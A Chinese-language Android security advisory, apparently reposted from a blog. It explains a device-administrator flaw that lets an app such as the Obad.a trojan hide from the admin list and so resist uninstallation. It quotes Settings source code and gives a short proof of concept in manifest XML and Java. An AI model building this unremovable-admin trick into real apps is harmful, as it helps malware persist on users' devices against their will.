一、漏洞描述
目前被称为“史上最强Android木马”的病毒Backdoor.AndroidOS.Obad.a利用Android设备管理器漏洞使用户无法通过正常方式卸载。其实该漏洞早在去年底已被发现。(http://www.anguanjia.com/?c=news_view&id=435)
注册为“设备管理器”的应用是无法被直接卸载的。只有取消激活“设备管理器”后才可以直接卸载。
木马可以利用Android设备管理器漏洞达到在设备管理器列表“隐身”的效果。这样用户就无法进去“取消激活”页面,从而达到无法卸载的目的。
二、影响版本
android2.2及以上
三、漏洞原理
首先我们来看一下Settings app如何形成设备管理器列表的:
相关类:
packagesappssettingssrccomandroidsettingsDeviceAdminSettings.java
1 public class DeviceAdminSettings extends ListFragment { 2 3 DevicePolicyManager mDPM; 4 final HashSet<ComponentName> mActiveAdmins = new HashSet<ComponentName>(); 5 final ArrayList<DeviceAdminInfo> mAvailableAdmins = new ArrayList<DeviceAdminInfo>(); 6 7 @Override 8 public void onResume() { 9 super.onResume(); 10 updateList(); 11 } 12 13 void updateList() { 14 mActiveAdmins.clear(); 15 List<ComponentName> cur = mDPM.getActiveAdmins(); 16 if (cur != null) { 17 for (int i=0; i<cur.size(); i++) { 18 mActiveAdmins.add(cur.get(i)); 19 } 20 } 21 22 mAvailableAdmins.clear(); 23 List<ResolveInfo> avail = getActivity().getPackageManager().queryBroadcastReceivers( 24 new Intent(DeviceAdminReceiver.ACTION_DEVICE_ADMIN_ENABLED), 25 PackageManager.GET_META_DATA);// 通过查询广播Intent Filter为”android.app.action.DEVICE_ADMIN_ENABLED“来得到可用的设备管理器程序列表 26 int count = avail == null ? 0 : avail.size(); 27 for (int i=0; i<count; i++) { 28 ResolveInfo ri = avail.get(i); 29 try { 30 DeviceAdminInfo dpi = new DeviceAdminInfo(getActivity(), ri); 31 if (dpi.isVisible() || mActiveAdmins.contains(dpi.getComponent())) { 32 mAvailableAdmins.add(dpi); 33 } 34 //如果应用已激活设备管理器&&注册了含Intent Filter为”android.app.action.DEVICE_ADMIN_ENABLED“就出现在可用设备管理器列表 35 } catch (XmlPullParserException e) { 36 Log.w(TAG, "Skipping " + ri.activityInfo, e); 37 } catch (IOException e) { 38 Log.w(TAG, "Skipping " + ri.activityInfo, e); 39 } 40 } 41 42 getListView().setAdapter(new PolicyListAdapter()); 43 } 44 45 ....... 46 47 class PolicyListAdapter extends BaseAdapter { 48 ....... 49 50 public void bindView(View view, int position) { 51 final Activity activity = getActivity(); 52 ViewHolder vh = (ViewHolder) view.getTag(); 53 DeviceAdminInfo item = mAvailableAdmins.get(position);//显示mAvailableAdmins中数据 54 vh.icon.setImageDrawable(item.loadIcon(activity.getPackageManager())); 55 vh.name.setText(item.loadLabel(activity.getPackageManager())); 56 vh.checkbox.setChecked(mActiveAdmins.contains(item.getComponent())); 57 try { 58 vh.description.setText(item.loadDescription(activity.getPackageManager())); 59 } catch (Resources.NotFoundException e) { 60 } 61 } 62 } 63 64 }
由Android Settings App源代码可以看出,设备管理器列表显示可用的设备管理器程序是通过查询: “IntentFilter动作为 android.app.action.DEVICE_ADMIN_ENABLED” ,且具备“<meta-data android:name="android.app.device_admin" android:resource="@xml/xxx" />”的Receiver来得到的。
对于注册设备管理器,并不需要Intent Filter,只需要meta-data就可以。
如果想在设备管理器列表中”隐身“,只要不带Intent Filter注册设备管理器,就会导致用户无法取消设备管理器的激活,也就无法卸载该app。
四、POC代码
AndroidMainfest.xml文件注册组件:
1 <receiver Android:name=".deviceAdminReceiver" android:label="@string/app_name" 2 Android:description="@string/description" android:permission="android.permission.BIND_DEVICE_ADMIN"> 3 4 <meta-data Android:name="android.app.device_admin" 5 Android:resource="@xml/device_admin" /> 6 7 </receiver>
java代码注册激活设备管理器:
1 Intent intent = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN); 2 ComponentName mDeviceComponentName = new ComponentName("packagename","packagename.deviceAdminReceiver"); 3 intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, 4 mDeviceComponentName); 5 this.startActivity(intent,0);
五、相关链接
http://www.anguanjia.com/?c=news_view&id=435
http://blog.csdn.net/jiazhijun/article/details/9045773
本文转自http://blog.csdn.net/androidsecurity/article/details/9124747